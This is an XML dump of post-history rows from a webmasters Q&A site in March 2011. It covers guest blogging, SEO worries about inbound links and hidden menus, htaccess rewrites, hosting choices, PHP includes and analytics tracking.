  <row Id="25411" PostHistoryTypeId="2" PostId="11253" RevisionGUID="2495862b-be66-4eb0-b8a6-14a519edae44" CreationDate="2011-03-27T00:21:06.567" UserId="5809" Text="Guest blogging allows you to get a link from the body of the blog entry to your own site.  It is popular because the in-body links are weighted more heavily than many others on the page.&#xD;&#xA;&#xD;&#xA;I usually write them when I have time.  And I always accept guest blogging opportunities because&#xD;&#xA;1) It is good to make relationships with people in your space&#xD;&#xA;2) Why not let another person get a link&#xD;&#xA;3) It gives my site more content&#xD;&#xA;4) It takes very little of my time&#xD;&#xA;&#xD;&#xA;So while I only write guest blogs sometimes, I am always open to receiving them for http://www.comehike.com for example, which is a site I am trying to get more content on about the outdoors and hiking." />
  <row Id="25412" PostHistoryTypeId="5" PostId="11253" RevisionGUID="daa580ba-72ae-4c15-8c3b-3bfaeade0369" CreationDate="2011-03-27T00:33:43.290" UserId="1253" Comment="Removed self promotional paragraph" Text="Guest blogging allows you to get a link from the body of the blog entry to your own site.  It is popular because the in-body links are weighted more heavily than many others on the page.&#xD;&#xA;&#xD;&#xA;I usually write them when I have time.  And I always accept guest blogging opportunities because&#xD;&#xA;1) It is good to make relationships with people in your space&#xD;&#xA;2) Why not let another person get a link&#xD;&#xA;3) It gives my site more content&#xD;&#xA;4) It takes very little of my time&#xD;&#xA;" />
  <row Id="25413" PostHistoryTypeId="4" PostId="11246" RevisionGUID="65e28c92-b33f-4676-a882-aceab5b99c61" CreationDate="2011-03-27T00:34:11.760" UserId="4306" Comment="Retagged as SEM instead of SEO. Changed title to same." Text="Adwords search engine marketing (SEM) question" />
  <row Id="25414" PostHistoryTypeId="6" PostId="11246" RevisionGUID="65e28c92-b33f-4676-a882-aceab5b99c61" CreationDate="2011-03-27T00:34:11.760" UserId="4306" Comment="Retagged as SEM instead of SEO. Changed title to same." Text="&lt;adwords&gt;&lt;sem&gt;" />
  <row Id="25415" PostHistoryTypeId="24" PostId="11246" RevisionGUID="65e28c92-b33f-4676-a882-aceab5b99c61" CreationDate="2011-03-27T00:34:11.760" Comment="Proposed by 4306 approved by 1253 edit id of 81" />
  <row Id="25416" PostHistoryTypeId="2" PostId="11254" RevisionGUID="a5b647ba-32df-4794-a785-0299b8b34219" CreationDate="2011-03-27T02:08:17.057" UserId="6369" Text="I'm drawing up some documentation for users with the intent on educating them on certificate revocation. I would like to include screen shots of browsers to demonstrate the user experience when encountering a revoked cert. The revocation can occur via either OCSP or CRL. &#xD;&#xA;&#xD;&#xA;I've tried digging around CRLs, but they list the serial number of a certificate and don't provide a URL for me to try connecting.&#xD;&#xA;&#xD;&#xA;Could someone provide a URL to a live site with a non-self-signed but revoked cert? Or perhaps there's a way to look up certs in a CRL and cross reference them to a URL?" />
  <row Id="25417" PostHistoryTypeId="1" PostId="11254" RevisionGUID="a5b647ba-32df-4794-a785-0299b8b34219" CreationDate="2011-03-27T02:08:17.057" UserId="6369" Text="Example of live site with trusted, signed but revoked certificate?" />
  <row Id="25418" PostHistoryTypeId="3" PostId="11254" RevisionGUID="a5b647ba-32df-4794-a785-0299b8b34219" CreationDate="2011-03-27T02:08:17.057" UserId="6369" Text="&lt;ssl-certificate&gt;" />
  <row Id="25419" PostHistoryTypeId="25" PostId="11252" RevisionGUID="899dee29-8b58-4f67-981f-39d95dcb40f3" CreationDate="2011-03-27T02:30:33.200" Comment="http://twitter.com/#!/StackWebmasters/status/51833453976621056" />
  <row Id="25420" PostHistoryTypeId="2" PostId="11255" RevisionGUID="c88b4aae-da30-454b-922f-87347ac9c557" CreationDate="2011-03-27T04:33:52.407" UserId="5806" Text="On several of my websites, I noticed a significant number of inbound links coming from irrelevant websites.&#xD;&#xA;&#xD;&#xA;For example, one of my site is about travel and one of site that links to it is about *male-enhancing pills*. The only reason I know of this site is that it appears in my server logs as referrer a certain small percentage of the time. Invariably this site and others that do the same seem to have a bunch (roughly 10-30) of irrelevant links scattered on their pages and some of them happen to point to my site. Now since the links go from their site to mine, it is certainly not about luring traffic towards them, so why would they do that?&#xD;&#xA;&#xD;&#xA;More importantly, does this have a negative impact on my site's search-engine and and Google ranking? If so, what can I do about it since I have no affiliation or contact with the offending websites?" />
  <row Id="25421" PostHistoryTypeId="1" PostId="11255" RevisionGUID="c88b4aae-da30-454b-922f-87347ac9c557" CreationDate="2011-03-27T04:33:52.407" UserId="5806" Text="Search engine impact of irrelevant inbound links?" />
  <row Id="25422" PostHistoryTypeId="3" PostId="11255" RevisionGUID="c88b4aae-da30-454b-922f-87347ac9c557" CreationDate="2011-03-27T04:33:52.407" UserId="5806" Text="&lt;links&gt;&lt;site-ranking&gt;&lt;google-ranking&gt;" />
  <row Id="25423" PostHistoryTypeId="2" PostId="11256" RevisionGUID="b5167ba6-f45e-4a6d-9d06-8c2a15a2cfc3" CreationDate="2011-03-27T04:44:58.047" UserId="5806" Text="I've been reading a lot of information saying that hidden elements are bad and that search engines penalize pages for using them. I started to get really worried about it when I realized that MOST of my pages use them.&#xD;&#xA;&#xD;&#xA;This is the basis as far as I know of all CSS based cascading menus. The submenu have 'display:none' until the parent is hovered.&#xD;&#xA;&#xD;&#xA;The same is true of places where there are multiple tabs in a page (like browser tabs but within a page) to show multiple contents on the same page.&#xD;&#xA;&#xD;&#xA;So, is it true that the page ranking would be penalized?&#xD;&#xA;&#xD;&#xA;If so, is there a way to mark this somehow to not get penalized?&#xD;&#xA;&#xD;&#xA;I'd like to keep these features without resorting to less efficient methods such as Javascript or worse." />
  <row Id="25424" PostHistoryTypeId="1" PostId="11256" RevisionGUID="b5167ba6-f45e-4a6d-9d06-8c2a15a2cfc3" CreationDate="2011-03-27T04:44:58.047" UserId="5806" Text="Are temporarily hidden elements bad for search-engine rankings?" />
  <row Id="25425" PostHistoryTypeId="3" PostId="11256" RevisionGUID="b5167ba6-f45e-4a6d-9d06-8c2a15a2cfc3" CreationDate="2011-03-27T04:44:58.047" UserId="5806" Text="&lt;css&gt;&lt;menu&gt;&lt;page-ranking&gt;&lt;google-ranking&gt;" />
  <row Id="25426" PostHistoryTypeId="2" PostId="11257" RevisionGUID="cdf6ca51-f943-4d4b-9e3f-3b7f219512db" CreationDate="2011-03-27T05:04:38.887" UserId="5499" Text="You can download the [Microsoft Web Platform Installer][1]. It lets you browse through many popular web apps and install them. A free open source CMS that I found to be pretty helpful is Orchard CMS, which you can also download through the Microsoft Web Platform Installer. You can use it to quickly create a simple website and, also, making updates and modifications is rather easy.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.microsoft.com/web/downloads/platform.aspx" />
  <row Id="25427" PostHistoryTypeId="25" PostId="11254" RevisionGUID="006bb5c6-bbac-4b68-8b07-86dfc26d84e2" CreationDate="2011-03-27T05:30:32.983" Comment="http://twitter.com/#!/StackWebmasters/status/51878751671287808" />
  <row Id="25428" PostHistoryTypeId="2" PostId="11258" RevisionGUID="aba3c2f2-ce88-492f-9da2-a0c876e5677a" CreationDate="2011-03-27T06:56:37.667" UserId="5855" Text="I'd like to serve my personal site reliably.  I prefer to write my own html, css, php, etc. and would like to tinker with things - to install my own software and run arbitrary linux commands.    I won't be running a business, needing to handle money or dealing with multiple content editors, or serve live streaming of the next Superbowl.  Just a personal site with images and stuff of interest to artists and scientists.  Maybe a blog, mailing list and RSS feed.&#xD;&#xA;&#xD;&#xA;For the past few years, I've paid a big commercial web hosting company to serve my site.  They offer a lot of fancy features I don't need. They don't allow website owners to run arbitrary shell commands, such as  git, svn, gzip, or scripts to manage files.  Some hosting companies cut off sites for various reasons. Finally I want to cut costs so money is freed for other adventures.  &#xD;&#xA;&#xD;&#xA;OTOH, I do like having someone with the expertise to handle http server configuration and security, deal with bad disks and cables and all that.&#xD;&#xA;&#xD;&#xA;It'd be especially good to have direct access to all the html files, database etc, using my favorite text editors or tools (e.g unix commands with pipes) instead of being limited to trying to do things through the commercial company's clumsy web apps.&#xD;&#xA;&#xD;&#xA;What are all the options I should consider for serving my personal site?&#xD;&#xA;&#xD;&#xA;A home machine dedicated to the task might be a fine option for some, but I have DSL with no fixed IP address.  I'll be serving plenty of images and some large scientific data files.  " />
  <row Id="25429" PostHistoryTypeId="1" PostId="11258" RevisionGUID="aba3c2f2-ce88-492f-9da2-a0c876e5677a" CreationDate="2011-03-27T06:56:37.667" UserId="5855" Text="What are options for hosting a personal site that let me me tinker with things?" />
  <row Id="25430" PostHistoryTypeId="3" PostId="11258" RevisionGUID="aba3c2f2-ce88-492f-9da2-a0c876e5677a" CreationDate="2011-03-27T06:56:37.667" UserId="5855" Text="&lt;personal-website&gt;&lt;http-server&gt;" />
  <row Id="25431" PostHistoryTypeId="17" PostId="11260" RevisionGUID="0e0044e0-f758-4425-acb5-88614c7fe3aa" CreationDate="2011-03-27T08:00:47.413" UserId="-1" Comment="from http://serverfault.com/questions/218226/replace-26-in-htaccess-to-2526/218253#218253" Text="" />
  <row Id="25432" PostHistoryTypeId="2" PostId="11260" RevisionGUID="556bdaaa-56fd-4ae2-9ba9-9cc792a90f82" CreationDate="2011-01-03T17:28:03.493" UserId="1064" Text="&gt; 'noescape|NE' (no URI escaping of&#xD;&#xA;&gt; output)&#xD;&#xA;&gt; &#xD;&#xA;&gt; This flag prevents mod_rewrite from&#xD;&#xA;&gt; applying the usual URI escaping rules&#xD;&#xA;&gt; to the result of a rewrite.&#xD;&#xA;&gt; Ordinarily, special characters (such&#xD;&#xA;&gt; as '%', '$', ';', and so on) will be&#xD;&#xA;&gt; escaped into their hexcode equivalents&#xD;&#xA;&gt; ('%25', '%24', and '%3B',&#xD;&#xA;&gt; respectively); this flag prevents this&#xD;&#xA;&gt; from happening. This allows percent&#xD;&#xA;&gt; symbols to appear in the output&#xD;&#xA;&#xD;&#xA;[mod_rewrite Documentation at Apache.org][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html" />
  <row Id="25433" PostHistoryTypeId="2" PostId="11259" RevisionGUID="aa4e9af9-fe13-4aba-9b6d-88a25c0ec2fe" CreationDate="2011-01-03T16:08:24.587" UserDisplayName="Patrick" Text="I would like htaccess to rewrite example.com/something_%26_else into example.com/something_%2526_else.&#xD;&#xA;&#xD;&#xA;I'm importing a bunch of pages that have ampersands in the title from Mediawiki. These are encoded as %26. Drupal, for various reasons, has decided double encode the url it to have it become %2526. I simply can't create the alisis within Drupal so I have to use htaccess&#xD;&#xA;&#xD;&#xA;This is what I have as my rule so far as RewriteRule ^w/([^%26]+)\%26(.*)$ w/$1\%2526$2 [R=301]&#xD;&#xA;&#xD;&#xA;I asked this question three months ago on [stackexchange][1] and was not able to get it working. I tried hiring a contractor for this but was unable to find one. So this my last ditch effort before I completely give up. I really appreciate the help.&#xD;&#xA;&#xD;&#xA;All the best, Patrick&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/4000846/replace-26-in-htaccess-to-2526" />
  <row Id="25434" PostHistoryTypeId="1" PostId="11259" RevisionGUID="aa4e9af9-fe13-4aba-9b6d-88a25c0ec2fe" CreationDate="2011-01-03T16:08:24.587" UserDisplayName="Patrick" Text="Replace %26 in htaccess to %2526" />
  <row Id="25435" PostHistoryTypeId="3" PostId="11259" RevisionGUID="aa4e9af9-fe13-4aba-9b6d-88a25c0ec2fe" CreationDate="2011-01-03T16:08:24.587" UserDisplayName="Patrick" Text="&lt;apache&gt;&lt;htaccess&gt;&lt;drupal&gt;" />
  <row Id="25436" PostHistoryTypeId="17" PostId="11259" RevisionGUID="1d1cca0c-e511-4966-9246-ddf0525d197f" CreationDate="2011-03-27T08:00:47.413" UserId="-1" Comment="from http://serverfault.com/questions/218226/replace-26-in-htaccess-to-2526" Text="" />
  <row Id="25437" PostHistoryTypeId="25" PostId="11258" RevisionGUID="ce9eafc3-c36f-4f09-86f4-c2c775f123a4" CreationDate="2011-03-27T08:30:32.767" Comment="http://twitter.com/#!/StackWebmasters/status/51924049475026944" />
  <row Id="25438" PostHistoryTypeId="2" PostId="11261" RevisionGUID="3509548e-1912-4457-a3ab-81c59230a260" CreationDate="2011-03-27T09:22:24.117" UserId="6373" Text="[Linode](http://www.linode.com/?r=253c1599b847c8f5739e6ebde99cb26499b70d73) gives you full root access to your virtual server and allows you to upgrade the RAM, storage, and transfer as you need. It does require a bit of technical knowledge since it starts of as a fresh install of the operating system, thought they have a lot of recipes that will help you with the initial setup.&#xD;&#xA;&#xD;&#xA;For something that requires a bit less technical knowledge, I'd recommend [Dreamhost](http://www.dreamhost.com/r.cgi?250066). It has unlimited disk space and file transfer and also gives you shell access to work with git, svn, gzip, etc." />
  <row Id="25439" PostHistoryTypeId="2" PostId="11262" RevisionGUID="de34a73c-3d26-4faa-a4cf-e458d69ca9fa" CreationDate="2011-03-27T09:26:47.193" UserId="6374" Text="I have finished 95% of my web application. Now, I would like to make sure that the website is stable even with 5000 or more concurrent connections.&#xD;&#xA;&#xD;&#xA;How do you test??" />
  <row Id="25440" PostHistoryTypeId="1" PostId="11262" RevisionGUID="de34a73c-3d26-4faa-a4cf-e458d69ca9fa" CreationDate="2011-03-27T09:26:47.193" UserId="6374" Text="How to make sure that my web application would be stable?" />
  <row Id="25441" PostHistoryTypeId="3" PostId="11262" RevisionGUID="de34a73c-3d26-4faa-a4cf-e458d69ca9fa" CreationDate="2011-03-27T09:26:47.193" UserId="6374" Text="&lt;performance&gt;" />
  <row Id="25442" PostHistoryTypeId="2" PostId="11263" RevisionGUID="18d5b747-e8ce-453b-b379-eb6ef00adc07" CreationDate="2011-03-27T10:58:02.160" UserId="5855" Text="What is the best way these days to make a visually interesting border around a div using images?   CSS3's border-image would perfect, but it's CSS3.  I don't want to rely on that yet.  Is there a CSS2-compatible way to accomplish the same thing?&#xD;&#xA;&#xD;&#xA;My audience is mostly with-it, tech-savvy, not needing hacks for decrepit old browsers, but aren't necessarily all up on the cutting edge like CSS3 either.&#xD;&#xA;&#xD;&#xA;As an alternative to CSS for this, I tried some experiments with 3x3 tables using the images as cell background or cell content. The main content would go in the middle cell.  I couldn't get the side images to stretch or repeat properly when the content varied." />
  <row Id="25443" PostHistoryTypeId="1" PostId="11263" RevisionGUID="18d5b747-e8ce-453b-b379-eb6ef00adc07" CreationDate="2011-03-27T10:58:02.160" UserId="5855" Text="CSS2 way of accomplishing what CSS3 border-image does?" />
  <row Id="25444" PostHistoryTypeId="3" PostId="11263" RevisionGUID="18d5b747-e8ce-453b-b379-eb6ef00adc07" CreationDate="2011-03-27T10:58:02.160" UserId="5855" Text="&lt;css&gt;&lt;images&gt;" />
  <row Id="25445" PostHistoryTypeId="2" PostId="11264" RevisionGUID="539dd561-f182-43e7-90f0-dd4f8af9d954" CreationDate="2011-03-27T11:15:38.740" UserId="6376" Text="Your can use simple PHP code to make your site a little bit dynamic, e.g.&#xD;&#xA;&#xD;&#xA;First, you need to have to change your .html extension to .php (if your hosting on linux server that support PHP).&#xD;&#xA;&#xD;&#xA;Second, create a page called header.php, and put in it your HTML code (which you want to be in every page you have), the head and menu code for example.&#xD;&#xA;&#xD;&#xA;Then put this php code in your files&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    include('header.php');&#xD;&#xA;    ?&gt;&#xD;&#xA;and put that code in every page you have instead of:&#xD;&#xA;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;    &lt;head&gt;&#xD;&#xA;    ....&#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;    &lt;body&gt;&#xD;&#xA;    &lt;!-- Sample menu elements --&gt;&#xD;&#xA;    &lt;div id=&quot;nav&quot;&gt;&#xD;&#xA;    &lt;ul&gt;&#xD;&#xA;    &lt;li&gt;&lt;a href=&quot;http://example.com/&quot;&gt;home&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;    &lt;li&gt;&lt;a href=&quot;http://example.com/about.php&quot;&gt;about&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;    &lt;li&gt;&lt;a href=&quot;http://example.com/contact.php&quot;&gt;contact&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;    &lt;/ul&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;    &lt;!-- End of sample menu elements --&gt;&#xD;&#xA;&#xD;&#xA;So, when you have to change any menu element you don't have to update every single page.&#xD;&#xA;You just update the **header.php** file.&#xD;&#xA;&#xD;&#xA;By the way, I suggest you to quit using tables and go towards DIVs or even [HTML5][1], especially if you are designing your portfolio (it will reflect your work quality).&#xD;&#xA;&#xD;&#xA;Check this post: [Why not use tables for layout in HTML][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://diveintohtml5.org/&#xD;&#xA;  [2]: http://stackoverflow.com/questions/83073/why-not-use-tables-for-layout-in-html" />
  <row Id="25453" PostHistoryTypeId="2" PostId="11266" RevisionGUID="2b9f6686-8279-4156-a9f3-1ac5ae57eba3" CreationDate="2011-03-27T13:58:43.330" UserId="1253" Text="You'll be fine. Hidden text is only a problem when it is done for the purposes of manipulating the search engines. It's not what you do but why you do it that causes most penalties and this is a perfect example of that. Hidden text in this example allows for the menu to be more user friendly. Countless websites do this without penalty. You'll be fine." />
  <row Id="25454" PostHistoryTypeId="2" PostId="11267" RevisionGUID="0ba7cbe1-4116-4347-8176-3f5ba236cbd2" CreationDate="2011-03-27T14:01:22.920" UserId="1253" Text="This won't help or hurt you. Links from completely unrelated sites will carry very little weight so there will essentially be no benefit from those links. Additionally, they can't hurt you because you have no control over them. If you were penalized for what other sites did then a competitor could crush you just by linking to you from some of there websites. The only way these links can hurt you is if you link back to them. They will be seen as being complicit with them and seen as manipulating the search results (as a link farm). So don't link back to them." />
  <row Id="25455" PostHistoryTypeId="6" PostId="11255" RevisionGUID="ac091307-e179-412e-9b99-a07266c52310" CreationDate="2011-03-27T14:02:23.687" UserId="1253" Comment="added seo tag" Text="&lt;seo&gt;&lt;links&gt;&lt;site-ranking&gt;&lt;google-ranking&gt;" />
  <row Id="25456" PostHistoryTypeId="2" PostId="11268" RevisionGUID="e13e32c3-ca50-443a-83d5-2dd50228bebb" CreationDate="2011-03-27T14:03:42.610" UserId="6379" Text="try this http://celoxsystems.com/div_tbl_frm.html" />
  <row Id="25457" PostHistoryTypeId="5" PostId="11224" RevisionGUID="aab06472-7baf-4a92-bc40-780985ddfe1a" CreationDate="2011-03-27T14:14:13.753" UserId="6348" Comment="deleted 1 characters in body" Text="I would go with clicky.&#xD;&#xA;&#xD;&#xA;Tracking my authenticated visitors (knowing their username, e-mail etc) is a piece of cake:&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;      var clicky_custom = {};&#xD;&#xA;      clicky_custom.session = {&#xD;&#xA;          name: '[+fullname+]',&#xD;&#xA;          email: '[+email+]',&#xD;&#xA;          username: '[+username+]'&#xD;&#xA;      };&#xD;&#xA;      clicky_custom.timer = 250;&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;script src=&quot;https://static.getclicky.com/js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;try{ clicky.init(mySiteId); }catch(err){}&lt;/script&gt;&#xD;&#xA;    &lt;noscript&gt;&lt;p&gt;&lt;img alt=&quot;Clicky&quot; width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://in.getclicky.com/mySiteIdns.gif&quot; /&gt;&lt;/p&gt;&lt;/noscript&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Quoting from their site:&#xD;&#xA;&#xD;&#xA;&gt; The session property allows you to add&#xD;&#xA;&gt; your own data to a visitor session.&#xD;&#xA;&gt; This data will be stored in our&#xD;&#xA;&gt; database and accessible whenever you&#xD;&#xA;&gt; request the details of this session,&#xD;&#xA;&gt; whether that's through the web site&#xD;&#xA;&gt; itself, the API, third party widgets,&#xD;&#xA;&gt; or otherwise. When viewing a session&#xD;&#xA;&gt; on our web site, each custom value&#xD;&#xA;&gt; will have an icon  next to it to&#xD;&#xA;&gt; easily distinguish your data from the&#xD;&#xA;&gt; standard data that we already track.&#xD;&#xA;&#xD;&#xA;More details on:&#xD;&#xA;[http://getclicky.com/forums/?id=6092#session][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://getclicky.com/forums/?id=6092#session" />
  <row Id="25458" PostHistoryTypeId="2" PostId="11269" RevisionGUID="9d1a7454-fa18-405e-b712-9decc4a91b8a" CreationDate="2011-03-27T14:18:46.720" UserId="6380" Text="I want to do a contest on my forum where users have about 3 weeks to invite members (through a referral system). At the end of the 3 week period, the top 5 users who invite the most members will receive $5 in Amazon each.&#xD;&#xA;&#xD;&#xA;I was wondering if anyone had suggestions as to what would be the best VB 4.X mod to use for this, + what should I check for at the end of the period when I screen the &quot;invited&quot; members, stuff like that.&#xD;&#xA;&#xD;&#xA;Thanks guys!" />
  <row Id="25459" PostHistoryTypeId="1" PostId="11269" RevisionGUID="9d1a7454-fa18-405e-b712-9decc4a91b8a" CreationDate="2011-03-27T14:18:46.720" UserId="6380" Text="Considering a contest for my forum, suggestions?" />
  <row Id="25460" PostHistoryTypeId="3" PostId="11269" RevisionGUID="9d1a7454-fa18-405e-b712-9decc4a91b8a" CreationDate="2011-03-27T14:18:46.720" UserId="6380" Text="&lt;forum&gt;&lt;chat&gt;" />
  <row Id="25461" PostHistoryTypeId="25" PostId="11269" RevisionGUID="03796e2d-388a-46b5-9594-762a4e068470" CreationDate="2011-03-27T14:30:33.207" Comment="http://twitter.com/#!/StackWebmasters/status/52014648177868800" />
  <row Id="25462" PostHistoryTypeId="2" PostId="11270" RevisionGUID="056bb84a-f496-4171-9994-059111075da6" CreationDate="2011-03-27T13:20:58.793" UserDisplayName="yaser" Text="i want to use @font-face in my css but the number of my font are a lot. does anyone of any software will let me to compress my fonts?" />
  <row Id="25463" PostHistoryTypeId="1" PostId="11270" RevisionGUID="056bb84a-f496-4171-9994-059111075da6" CreationDate="2011-03-27T13:20:58.793" UserDisplayName="yaser" Text="font compressor" />
  <row Id="25464" PostHistoryTypeId="3" PostId="11270" RevisionGUID="056bb84a-f496-4171-9994-059111075da6" CreationDate="2011-03-27T13:20:58.793" UserDisplayName="yaser" Text="&lt;fonts&gt;" />
  <row Id="25465" PostHistoryTypeId="17" PostId="11270" RevisionGUID="840f1b40-0ef6-43de-b77e-f84d05e30c45" CreationDate="2011-03-27T15:44:06.787" UserId="-1" Comment="from http://stackoverflow.com/questions/5449473/font-compressor" Text="" />
  <row Id="25466" PostHistoryTypeId="2" PostId="11271" RevisionGUID="80ab96b8-5d31-4ce2-b2bf-3b6187d2c48d" CreationDate="2011-03-27T16:28:55.563" UserDisplayName="user634806" Text="I have a web app in which users will contact each other using anonymized email, similar to how craigslist works.  For example, user B posts an ad and the web app includes an&#xD;&#xA;anonymized address which is unique for user B such as address1U4J5K6Ldf345@mydomain.com.   User A sends an email to address1U4J5K6Ldf345@mydomain.com, and my app reads it and sends the contents of the email to user B.&#xD;&#xA;&#xD;&#xA;My domain is at godaddy and my (django) site is hosted on the cloud on an amazon EC2 instance.  My question is how do I set up the DNS and mail servers to do this?  Do I have to run my own postfix or sendmail server on my amazon host, or is there a way to have godaddy's mail server save email to all addresses at the domain, so that I can access them by pop or imap?  Or is there some third party service that would work?" />
  <row Id="25467" PostHistoryTypeId="1" PostId="11271" RevisionGUID="80ab96b8-5d31-4ce2-b2bf-3b6187d2c48d" CreationDate="2011-03-27T16:28:55.563" UserDisplayName="user634806" Text="How do I receive anonymized email sent to my domain?" />
  <row Id="25468" PostHistoryTypeId="3" PostId="11271" RevisionGUID="80ab96b8-5d31-4ce2-b2bf-3b6187d2c48d" CreationDate="2011-03-27T16:28:55.563" UserDisplayName="user634806" Text="&lt;email&gt;&lt;dns&gt;" />
  <row Id="25469" PostHistoryTypeId="17" PostId="11271" RevisionGUID="1200c41e-be66-4deb-bebe-60840645279e" CreationDate="2011-03-27T16:32:47.727" UserId="-1" Comment="from http://stackoverflow.com/questions/5450544/how-do-i-receive-anonymized-email-sent-to-my-domain" Text="" />
  <row Id="25470" PostHistoryTypeId="25" PostId="11271" RevisionGUID="22119f7e-24b9-44e6-a7a4-b33e15b00186" CreationDate="2011-03-27T17:30:32.710" Comment="http://twitter.com/#!/StackWebmasters/status/52059944752660480" />
  <row Id="25471" PostHistoryTypeId="2" PostId="11272" RevisionGUID="46097268-0aa1-4f45-9ad7-a985d373c9ad" CreationDate="2011-03-27T19:08:03.600" UserId="6382" Text="I'm going to use addresses of the form anon+code@domain.com where code is unique.  This is received by anon@domain.com, at least at google apps mail.  Then I can use pop to get this message with my script and can parse the to address to get the code, search the db to get the real address, and send the message.&#xD;&#xA;&#xD;&#xA;Another possible approach is a catch-all address but that has spam problems." />
  <row Id="25472" PostHistoryTypeId="2" PostId="11273" RevisionGUID="81e7cb2a-5dba-439c-80ff-3279cccc542d" CreationDate="2011-03-27T20:21:24.463" UserId="5607" Text="Check http://www.fontsquirrel.com/fontface/generator" />
  <row Id="25473" PostHistoryTypeId="25" PostId="11256" RevisionGUID="46294d0a-8232-4f7c-b3e6-bc4deb6359e1" CreationDate="2011-03-27T20:30:33.207" Comment="http://twitter.com/#!/StackWebmasters/status/52105244980674561" />
  <row Id="25474" PostHistoryTypeId="2" PostId="11274" RevisionGUID="3eecea15-88cd-422d-ac66-522204df37d2" CreationDate="2011-03-27T20:39:15.540" UserId="5806" Text="Had the same problem with another provider and it is really not their fault. It is still a mystery to me how Google was able to find the subdomain path since I never wrote it anywhere.&#xD;&#xA;&#xD;&#xA;The more robust solution is to setup your .htaccess so to give a 301 redirect when the wrong domain is accessed. For completeness I also do it for the non www version of the domain. That way Google always resolves and attributes PageRank to the official name. This is simple to do as long as .htaccess are enabled and setup properly.&#xD;&#xA;&#xD;&#xA;Here is what one of mine looks like:&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^realdomain.com$ [OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^subdomain.realdomain.com$ [OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^www.subdomain.realdomain.com$&#xD;&#xA;    RewriteRule ^/?(.*)$ http://www.realdomain.com/$1 [R=301,L]&#xD;&#xA;" />
  <row Id="25475" PostHistoryTypeId="2" PostId="11275" RevisionGUID="7eda6ad0-967a-450d-945a-68aaa5ad3736" CreationDate="2011-03-27T20:39:19.673" UserId="6385" Text="Regarding pronunciation, I think you can safely go with English and ask e.g. a German to check it. The reason is, I think you can't really create a single word for Westerners and Asians. That's just too much to be done unless you are a specialist in Asian languages (though Dune gives a sweet precedent of cross-cultural language use). With any luck, if you've got a real hit, Japanese will spell your name their own way (something like 'Googeru'), and Chinese may call it whatever as long as they use it, their market is so huge it'be a blessing if you can get there.&#xD;&#xA;&#xD;&#xA;So, what remains is Americans vs. Europeans. You might want to be sure to not accidentally make a rude obscenity in Italian for example. I think, just avoid obscure words like those Hamlet might spit, and you're done, because these days, just about everyone speaks English and doesn't relate common English words to any local similar-sounding slang or damnation. You might ask one person from each of several countries and go with it.&#xD;&#xA;&#xD;&#xA;That said, when doing visual and interaction design, you really should hire a specialist in cultures you're targeting, there are just too many obscure nuances to be aware of." />
  <row Id="25476" PostHistoryTypeId="2" PostId="11276" RevisionGUID="77f306c6-08ef-4de9-897b-4f6af8668525" CreationDate="2011-03-27T21:25:59.120" UserId="6386" Text="My question is pretty simple: how to export an existing blog hosted on Tumblr to Blogger?&#xD;&#xA;&#xD;&#xA;Thank you very much!&#xD;&#xA;&#xD;&#xA;Chx" />
  <row Id="25477" PostHistoryTypeId="1" PostId="11276" RevisionGUID="77f306c6-08ef-4de9-897b-4f6af8668525" CreationDate="2011-03-27T21:25:59.120" UserId="6386" Text="tumblr2blogger : exporting from Tumblr to Blogger" />
  <row Id="25478" PostHistoryTypeId="3" PostId="11276" RevisionGUID="77f306c6-08ef-4de9-897b-4f6af8668525" CreationDate="2011-03-27T21:25:59.120" UserId="6386" Text="&lt;blogger&gt;&lt;tumblr&gt;" />
  <row Id="25479" PostHistoryTypeId="25" PostId="11276" RevisionGUID="ab97d98e-611f-4c3b-a690-a71b91c3257c" CreationDate="2011-03-27T23:30:33.503" Comment="http://twitter.com/#!/StackWebmasters/status/52150544864784384" />
  <row Id="25480" PostHistoryTypeId="2" PostId="11277" RevisionGUID="408e3541-82cf-41cb-bb71-294a878f9dfe" CreationDate="2011-03-28T01:29:48.610" UserId="5499" Text="Joomla is a popular CMS because it's easy to use and extensible, among other reasons. I suggest you check out [Windows Web App Gallery][1]. There is a large list of CMS's (for PHP and ASP.NET) that you can check out through there and also get ratings and reviews on them.&#xD;&#xA;&#xD;&#xA;Also, you can download the [Microsoft Web Platform Installer][2]. This will give you a way to download any of the CMS's you find in the Windows Web App Gallery.&#xD;&#xA;&#xD;&#xA;One last thing that would definitely make using the CMS's a lot easier for you would be to download [Microsoft WebMatrix][3].  This is a Microsoft development tool that makes it very easy to download and work with open source web applications.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.microsoft.com/web/gallery/categories.aspx?category=ContentMgmt&#xD;&#xA;  [2]: http://www.microsoft.com/web/downloads/platform.aspx&#xD;&#xA;  [3]: http://www.microsoft.com/web/" />
  <row Id="25481" PostHistoryTypeId="25" PostId="11255" RevisionGUID="b3274b53-eeb2-4fc2-8b87-009ba47c9523" CreationDate="2011-03-28T02:30:33.723" Comment="http://twitter.com/#!/StackWebmasters/status/52195844400746496" />
